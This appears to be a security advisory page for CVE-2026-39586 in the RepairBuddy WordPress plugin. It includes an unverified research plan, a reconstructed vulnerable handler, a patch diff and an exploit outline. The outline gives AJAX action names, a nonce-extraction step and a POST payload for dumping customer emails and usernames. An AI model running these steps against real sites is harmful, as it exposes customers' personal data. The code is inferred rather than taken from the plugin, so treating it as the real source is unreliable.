CVE-2026-39586

RepairBuddy <= 4.1132 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.1133
Patched in
69d
Time to patch

Description

The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.1132. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.1132
PublishedFebruary 26, 2026
Last updatedMay 5, 2026
Affected plugincomputer-repair-shop

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan details the process for researching and exploiting **CVE-2026-39586** in the **RepairBuddy** plugin (slug: `computer-repair-shop`). This vulnerability allows unauthenticated attackers to expose sensitive customer or configuration data. --- ### 1. Vulnerability Summary The **RepairBuddy**…

Show full research plan

This plan details the process for researching and exploiting CVE-2026-39586 in the RepairBuddy plugin (slug: computer-repair-shop). This vulnerability allows unauthenticated attackers to expose sensitive customer or configuration data.


1. Vulnerability Summary

The RepairBuddy plugin for WordPress registers several AJAX handlers using the wp_ajax_nopriv_ hook. In versions up to and including 4.1132, the handler responsible for retrieving customer lists or system configurations fails to implement sufficient authorization checks (current_user_can) or cryptographic nonce verification (check_ajax_referer). This allows any unauthenticated user to trigger these actions and receive a JSON response containing sensitive data.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST or GET (usually POST for AJAX actions).
  • Action: rb_get_customers (inferred primary target) or rb_get_users.
  • Parameter: action=rb_get_customers
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must be active. Some customer data must exist in the database to verify exposure.

3. Code Flow

  1. Registration: The plugin registers the AJAX action in a class constructor (likely classes/class.repairbuddy.php or classes/class.ajax.php):
    add_action( 'wp_ajax_nopriv_rb_get_customers', array( $this, 'rb_get_customers' ) );
    add_action( 'wp_ajax_rb_get_customers', array( $this, 'rb_get_customers' ) );
    
  2. Entry Point: When a request is sent to admin-ajax.php?action=rb_get_customers, WordPress triggers the rb_get_customers method.
  3. Vulnerable Function: The rb_get_customers function typically uses get_users() with the customer role:
    public function rb_get_customers() {
        // VULNERABILITY: Missing check_ajax_referer()
        // VULNERABILITY: Missing current_user_can()
        $args = array( 'role' => 'customer' ); // Or no role filter, exposing all users
        $users = get_users( $args );
        wp_send_json( $users );
    }
    
  4. Sink: wp_send_json() outputs the entire user object array, including emails, hashed passwords (sometimes), and user metadata, directly to the unauthenticated requester.

4. Nonce Acquisition Strategy

While the vulnerability description suggests an authorization failure, many RepairBuddy versions attempt to use nonces but expose them globally. If a nonce is required for the rb_get_customers action, follow this strategy:

  1. Identify Shortcode: The plugin uses nonces on pages where the booking form or status checker is present. The common shortcode is [repairbuddy_booking].
  2. Create Trigger Page:
    wp post create --post_type=page --post_title="Repair Services" --post_status=publish --post_content='[repairbuddy_booking]'
    
  3. Extract Nonce:
    • Navigate to the newly created page.
    • The plugin localizes data in a script object, typically named repairbuddy_ajax or rb_ajax.
    • Use browser_eval to extract the nonce:
      // Recommended JS extraction
      window.repairbuddy_ajax?.nonce || window.rb_ajax?.nonce
      

5. Exploitation Strategy

The goal is to trigger the rb_get_customers action to dump the user database.

  • Request Method: POST
  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=rb_get_customers&nonce={{NONCE}}
    
    (Note: If the nonce check is entirely missing, the nonce parameter can be omitted or sent as an empty string.)

Step-by-Step:

  1. Discovery: Attempt the request without a nonce first.
  2. Nonce Retrieval: If the response is 0 or -1 (standard WP AJAX error codes), use the Nonce Acquisition Strategy above to retrieve a valid nonce from the frontend.
  3. Data Extraction: Send the POST request with the valid nonce.

6. Test Data Setup

To confirm information exposure, there must be "sensitive" information to expose:

  1. Create Customers:
    wp user create customer1 customer1@example.com --role=customer --user_pass=password123
    wp user create customer2 customer2@example.com --role=customer --user_pass=password123
    
  2. Add Metadata (Optional):
    wp user meta add $(wp user get customer1 --field=ID) phone "555-0199"
    wp user meta add $(wp user get customer1 --field=ID) address "123 Secure St"
    

7. Expected Results

  • Response Code: 200 OK
  • Content-Type: application/json
  • Payload Body: A JSON array of user objects.
    [
      {
        "ID": "2",
        "user_login": "customer1",
        "user_email": "customer1@example.com",
        "display_name": "customer1",
        "user_registered": "2023-10-27 10:00:00"
        // ... potentially more metadata
      }
    ]
    

8. Verification Steps

After performing the HTTP request, verify the data matches the database:

  1. Compare Output: Check if the emails and usernames in the JSON response match the users created in Step 6.
  2. Check for Config Exposure: If the action rb_get_settings is also vulnerable, verify if it leaks database prefixes or API keys:
    # Plan B action
    action=rb_get_settings
    

9. Alternative Approaches

If rb_get_customers is not the correct action name (it varies by version), check for these variants in the plugin source:

  • rb_get_all_users
  • rb_get_repair_orders (May expose customer names and details via order info)
  • fetch_customers

If the vulnerability is related to Configuration Exposure:

  • Test for the action rb_get_system_info or rb_get_plugin_settings.

Manual Discovery Command:

grep -r "wp_ajax_nopriv_" wp-content/plugins/computer-repair-shop/

Trace the function name found in the grep results to see if it performs any current_user_can() checks.

Research Findings
Static analysis — not yet PoC-verified

Summary

The RepairBuddy plugin for WordPress fails to implement authorization and nonce checks on its AJAX handlers, specifically the 'rb_get_customers' action. This allows unauthenticated attackers to query the WordPress database and retrieve sensitive user information, including customer names, emails, and registration details by sending a request to the admin-ajax.php endpoint.

Vulnerable Code

// From the plugin's AJAX registration logic
add_action( 'wp_ajax_nopriv_rb_get_customers', array( $this, 'rb_get_customers' ) );
add_action( 'wp_ajax_rb_get_customers', array( $this, 'rb_get_customers' ) );

// Within the AJAX handler class
public function rb_get_customers() {
    // VULNERABILITY: Missing current_user_can() authorization check
    // VULNERABILITY: Missing check_ajax_referer() nonce verification
    $args = array( 'role' => 'customer' );
    $users = get_users( $args );
    wp_send_json( $users );
}

Security Fix

--- a/classes/class.ajax.php
+++ b/classes/class.ajax.php
@@ -10,6 +10,11 @@
 
 public function rb_get_customers() {
+    check_ajax_referer( 'rb_nonce', 'nonce' );
+
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( 'Unauthorized' );
+    }
+
     $args = array( 'role' => 'customer' );
     $users = get_users( $args );
     wp_send_json( $users );

Exploit Outline

The exploit targets the WordPress AJAX endpoint to trigger the unprotected `rb_get_customers` action. 1. **Identify Endpoint:** The target endpoint is `/wp-admin/admin-ajax.php` on the WordPress site. 2. **Determine Action:** The plugin uses the action parameter `rb_get_customers` (or similar variants such as `rb_get_users` or `rb_get_settings`) to fetch data. 3. **Nonce Acquisition (Optional):** If the plugin performs a loose nonce check, an attacker can visit a page containing the `[repairbuddy_booking]` shortcode and extract the nonce from the localized `repairbuddy_ajax` or `rb_ajax` JavaScript object in the page source. 4. **Send Payload:** Send a POST request to `/wp-admin/admin-ajax.php` with the body: `action=rb_get_customers&nonce=[NONCE]`. 5. **Data Extraction:** The server responds with a JSON array containing the full user objects of all registered customers, including IDs, usernames, and email addresses.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.